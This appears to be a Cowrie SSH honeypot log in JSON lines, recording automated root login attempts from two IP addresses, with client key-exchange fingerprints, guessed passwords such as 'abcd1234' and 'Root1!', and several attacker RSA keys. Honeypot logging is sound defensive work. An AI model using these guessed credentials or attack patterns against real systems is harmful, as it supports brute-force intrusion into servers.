{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:35.801278Z","src_ip":"60.165.124.241","session":"e2b96ab1652f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1055Gy!@#2121","message":"login attempt [root/1055Gy!@#2121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:36.514786Z","src_ip":"60.165.124.241","session":"e2b96ab1652f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:37.754231Z","src_ip":"60.165.124.241","session":"e2b96ab1652f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"236c4c58f7be","protocol":"ssh","message":"New connection: 60.165.124.241:51120 (10.17.0.5:22) [session: 236c4c58f7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:37.990935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:37.995314Z","src_ip":"60.165.124.241","session":"236c4c58f7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:38.238048Z","src_ip":"60.165.124.241","session":"236c4c58f7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:38.959093Z","src_ip":"60.165.124.241","session":"236c4c58f7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:40.200534Z","src_ip":"60.165.124.241","session":"236c4c58f7be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54018,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a2f40f660e8","protocol":"ssh","message":"New connection: 60.165.124.241:54018 (10.17.0.5:22) [session: 4a2f40f660e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:40.445333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:40.449975Z","src_ip":"60.165.124.241","session":"4a2f40f660e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:40.694985Z","src_ip":"60.165.124.241","session":"4a2f40f660e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword12345!","message":"login attempt [root/P@ssword12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:41.430639Z","src_ip":"60.165.124.241","session":"4a2f40f660e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:42.677354Z","src_ip":"60.165.124.241","session":"4a2f40f660e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5415f117c95b","protocol":"ssh","message":"New connection: 60.165.124.241:57308 (10.17.0.5:22) [session: 5415f117c95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:42.908923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:42.913569Z","src_ip":"60.165.124.241","session":"5415f117c95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:43.155360Z","src_ip":"60.165.124.241","session":"5415f117c95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1!","message":"login attempt [root/Root1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:43.878936Z","src_ip":"60.165.124.241","session":"5415f117c95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.131637Z","src_ip":"60.165.124.241","session":"5415f117c95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":23126,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15d6f341bd6","protocol":"ssh","message":"New connection: 186.190.215.90:23126 (10.17.0.5:22) [session: e15d6f341bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.287630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.294276Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60406,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbdbc9a91414","protocol":"ssh","message":"New connection: 60.165.124.241:60406 (10.17.0.5:22) [session: bbdbc9a91414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.367017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.373214Z","src_ip":"60.165.124.241","session":"bbdbc9a91414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.401111Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.613279Z","src_ip":"60.165.124.241","session":"bbdbc9a91414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:8c:eb:69:f1:c1:35:5c:5c:cf:36:4e:9f:46:29:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX8fFZDpwKaXU0kWt1jPXMDvcQULUySLToPAfUaDzrc+8DrYonTGhUUhzqBpKf8Gs9H+vw5UfF+40pF4buusF4teRjHreOXPdQ+mY1qhIZDO7B1OX8TXLlUhE9Z0Co7bR9ZtdTzCdg3kBXGCTeP4dORYGanFTCdbC2ykjXfTSqkl90ZnA7HSbM79SrGUjITzB4tsSXvwGNtohABSIqF5yrz5RCMbzgztTtI6kzdbY7EoIYV4FdEY8mxMDA8eiUvNMrZ/BmmgGKzbt6L04sod6wIl1FSCfXoBV/pj/38/6wmGRDX9dK+WuHFtMEGSFEfnRI62XHyqba9dchlb/0bt+b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:8c:eb:69:f1:c1:35:5c:5c:cf:36:4e:9f:46:29:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.898823Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:8c:eb:69:f1:c1:35:5c:5c:cf:36:4e:9f:46:29:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX8fFZDpwKaXU0kWt1jPXMDvcQULUySLToPAfUaDzrc+8DrYonTGhUUhzqBpKf8Gs9H+vw5UfF+40pF4buusF4teRjHreOXPdQ+mY1qhIZDO7B1OX8TXLlUhE9Z0Co7bR9ZtdTzCdg3kBXGCTeP4dORYGanFTCdbC2ykjXfTSqkl90ZnA7HSbM79SrGUjITzB4tsSXvwGNtohABSIqF5yrz5RCMbzgztTtI6kzdbY7EoIYV4FdEY8mxMDA8eiUvNMrZ/BmmgGKzbt6L04sod6wIl1FSCfXoBV/pj/38/6wmGRDX9dK+WuHFtMEGSFEfnRI62XHyqba9dchlb/0bt+b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:45.902527Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:84:62:d9:2f:8a:5a:2e:4a:ed:b7:8c:83:9f:6f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPlIMkiROECU6jpuREhFiQ6jrEAAGXEvRER5xiGVynbpNBUI4x0SnxBeBD5VHcz1F4KgxL8nHitrr00Zh9Yee4yKqpBnVX5eu0/KrlbEZShZu2SleiMuy3AwOgDB2Pb82D9Z6EEPY4CkEC9x+oLH62e7dxsERalfuHnskoXtTvAR5iXsLkCDgbUCc+V4JaImF2NWpDVcIL5A1cqqQEyjMM3030PFi7NZ1+RaJxB3DL7dvVYNno/sDxkMPhKYkbYm0CQ6GsubNrbhKkDWKt7OTq+zYxoQ8e4ZHh3jb+rKJEqicQi8x7jqRqqgfQL1dNP+7Iz2L42GWCsHji9CZDoRO9UhzLt9/sbAxiIpzDxy3onRrEMo2oBIPTYfyOUvde9IZ1axMiAXs7Y13h76a6fsMmOpEIHKjjIj+7czWmfqRuyToqjZAofbyGFUgajxLFru1CrVPubzlxXUaahgaRpLmh8IqbX2aARHOS3I63CMhR28921DSBX1BUmp7/VkX+K0Qn5pLz1yrpNyZc94So4sY7pzSwcMQj8At8qZmcwdgdCo7DdEXCCPsLHlYRJPvES0hlVckP63IFK8b/aGVNn9kDfILHYgfvGV2DPQLawEZTaUe6ehziK+w00bL3dcxN76O0Nv85jiNgaMeu3bQacw6cFjVaSfyDaCh3cJILxnACQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:84:62:d9:2f:8a:5a:2e:4a:ed:b7:8c:83:9f:6f:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.014234Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:84:62:d9:2f:8a:5a:2e:4a:ed:b7:8c:83:9f:6f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcPlIMkiROECU6jpuREhFiQ6jrEAAGXEvRER5xiGVynbpNBUI4x0SnxBeBD5VHcz1F4KgxL8nHitrr00Zh9Yee4yKqpBnVX5eu0/KrlbEZShZu2SleiMuy3AwOgDB2Pb82D9Z6EEPY4CkEC9x+oLH62e7dxsERalfuHnskoXtTvAR5iXsLkCDgbUCc+V4JaImF2NWpDVcIL5A1cqqQEyjMM3030PFi7NZ1+RaJxB3DL7dvVYNno/sDxkMPhKYkbYm0CQ6GsubNrbhKkDWKt7OTq+zYxoQ8e4ZHh3jb+rKJEqicQi8x7jqRqqgfQL1dNP+7Iz2L42GWCsHji9CZDoRO9UhzLt9/sbAxiIpzDxy3onRrEMo2oBIPTYfyOUvde9IZ1axMiAXs7Y13h76a6fsMmOpEIHKjjIj+7czWmfqRuyToqjZAofbyGFUgajxLFru1CrVPubzlxXUaahgaRpLmh8IqbX2aARHOS3I63CMhR28921DSBX1BUmp7/VkX+K0Qn5pLz1yrpNyZc94So4sY7pzSwcMQj8At8qZmcwdgdCo7DdEXCCPsLHlYRJPvES0hlVckP63IFK8b/aGVNn9kDfILHYgfvGV2DPQLawEZTaUe6ehziK+w00bL3dcxN76O0Nv85jiNgaMeu3bQacw6cFjVaSfyDaCh3cJILxnACQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.019024Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:f5:59:36:09:75:2f:22:57:77:54:f0:d3:6e:06:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTBOjzDlUKOJOtZ/UqV1KHfREVZVE/VvJghu9fOBuyvFvZpiFERDV9uIpqfO93QHqZ2eDrNeDiV0+ffwlKPBjCbJHLIZ3JQLh6XRp243hzHIcrgqa4xyuSt+nO73z1HVWOEmTvv3QQzd2L74F0TojbcCtlx27i7bG230Je+mf/phLMSwzyvH/oTLYODun/Actjy93MKjcJk3XTJ8YlA17YRCuiQnqPXli7hkrPHBErMUKVvuxpBhwCyK0xIq4WRcmhUpnMkbaqzAFp2sf2LKrRWT6+OXosigZS/VMxDBxbA06f6vi9D95Rd4d/Y8g4VuQS0AhMgiuG5UNcYmwafaH2Jm2P4L/uCNFT4okvev6XwhsJjBo4AE9ehBeT6VPpnId8ha93RQZJnQa7ERqqBHSutKbUNRPoidneuUI1JKL8OI5dtc5+ffNferKA0UEbuUjT8dkomn10PvssIo75h8WaPcmlboMAcjC0W192J6XK6qrsK21QhEf94v7G/xgILypRvnm5v/QKOJRUSfZ/JCtGuec8v2FKJAr4cC6YLcHDhh+Inspzn9Lnyyw1IHWTHEryjtidmAB5ani+B8lAfwDQc0XZ0c/JB0MmaQ7C3KSIUsCron1Inl7mHfhOY3/sWpj/jdtvneOCRYRjDSIqDNkA7k0TCsUhOUBr+kIWowvxiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:f5:59:36:09:75:2f:22:57:77:54:f0:d3:6e:06:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.125209Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:f5:59:36:09:75:2f:22:57:77:54:f0:d3:6e:06:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTBOjzDlUKOJOtZ/UqV1KHfREVZVE/VvJghu9fOBuyvFvZpiFERDV9uIpqfO93QHqZ2eDrNeDiV0+ffwlKPBjCbJHLIZ3JQLh6XRp243hzHIcrgqa4xyuSt+nO73z1HVWOEmTvv3QQzd2L74F0TojbcCtlx27i7bG230Je+mf/phLMSwzyvH/oTLYODun/Actjy93MKjcJk3XTJ8YlA17YRCuiQnqPXli7hkrPHBErMUKVvuxpBhwCyK0xIq4WRcmhUpnMkbaqzAFp2sf2LKrRWT6+OXosigZS/VMxDBxbA06f6vi9D95Rd4d/Y8g4VuQS0AhMgiuG5UNcYmwafaH2Jm2P4L/uCNFT4okvev6XwhsJjBo4AE9ehBeT6VPpnId8ha93RQZJnQa7ERqqBHSutKbUNRPoidneuUI1JKL8OI5dtc5+ffNferKA0UEbuUjT8dkomn10PvssIo75h8WaPcmlboMAcjC0W192J6XK6qrsK21QhEf94v7G/xgILypRvnm5v/QKOJRUSfZ/JCtGuec8v2FKJAr4cC6YLcHDhh+Inspzn9Lnyyw1IHWTHEryjtidmAB5ani+B8lAfwDQc0XZ0c/JB0MmaQ7C3KSIUsCron1Inl7mHfhOY3/sWpj/jdtvneOCRYRjDSIqDNkA7k0TCsUhOUBr+kIWowvxiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.129250Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
